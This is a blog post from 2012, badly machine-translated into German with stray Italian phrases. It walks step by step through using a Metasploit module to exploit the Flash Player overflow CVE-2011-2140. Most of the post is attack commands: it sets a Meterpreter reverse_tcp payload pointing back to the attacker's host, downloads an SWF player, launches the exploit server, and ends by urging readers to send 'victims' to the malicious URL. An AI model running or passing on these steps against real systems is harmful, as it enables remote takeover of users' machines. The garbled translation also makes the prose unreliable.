[CVE-2011-2140 && Metasploit]

Neues Modul hinzugefügt, um Metasploit :D, die Exploits Bugs in einem weiteren Flash Player.

Sicherheitsanfälligkeit, die durch die CVE-2011-2140, Hier sind die Details:

Adobe Flash Player vor 10.3.183.5 unter Windows, Mac OS X, Linux, und Solaris und vor 10.3.186.3 on Android, und Adobe AIR vor 2.7.1 unter Windows und Mac OS X und vor 2.7.1.1961 on auf Androidrmöglicht es Angreifern, beliebigen Code ausführen oder einen Denial-of-Service (Memory Corruption) über nicht näher Vektoren, eine andere Schwachstelle als CVE-2011-2135, CVE-2011-2417, und CVE-2011-2425.

Adobe Flash Player MP4 SequenceParameterSetNALUnit Pufferüberlauf

Mal sehen, wie Metasploit verwenden :D

Das erste, was zu tun ist, aktualisieren Metasploit:
sudo msfupdate

Nun starten wir Metasploit:
sudo msfconsole

Usiamo l'nutzen:
use exploit/windows/browser/adobe_flash_sps

Befehle sind immer diejenigen, :D
Wir setzen die Nutzlast:
set PAYLOAD windows/meterpreter/reverse_tcp
Konfigurieren Sie die Nutzlast:
set LHOST MY_IP
L'Configuriamo nutzen:
set URIPATH /

Jetzt setzen wir die Spieler SWF, Ich nahm aus der PoC- abysssec:
wget http://www.clshack.it/nopaste/mediaplayer.swf
set SWF_PLAYER_URI mediaplayer.swf

Wir beginnen den Exploit:
msf exploit(adobe_flash_sps) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.190:4444
[*] Using URL: http://0.0.0.0:8080/J1YpA0
[*] Local IP: http://192.168.1.190:8080/J1YpA0
[*] Server started.
msf exploit(adobe_flash_sps) >

Viel Spaß :D

Wir schicken unsere Opfer auf unserer ip:PORT , E-BAUM :D

Related posts:

1. [CVE-2010-1297]Metasploit:Flash Player 9x, 10.0 Remote-Code Excution
2. IE 6/7 Umfang das XML Remote Code Execution mit Metasploit
3. [CVE:2011-4862] Remote root FreeBSD
4. [CVE-2011-3544]Metasploit: Java Remote nicht vertrauenswürdige Java Web Start
5. [CVE-2010-2568]Metasploit:Fenster Oday Remotecodeausführung Exuction

Dieser Eintrag wurde am Freitag, 10. Februar, 2012 bei 9:39 Uhr und ist abgelegt unter GNU / Linux, Hacking, Software. Sie können alle Antworten zu diesem Eintrag durch den RSS RSS 2.0 füttern. Sie können eine Antwort hinterlassen, oder trackback von deiner eigenen Seite.

Tagged with: angreifen • Auftraggeber • Metasploit • entfernt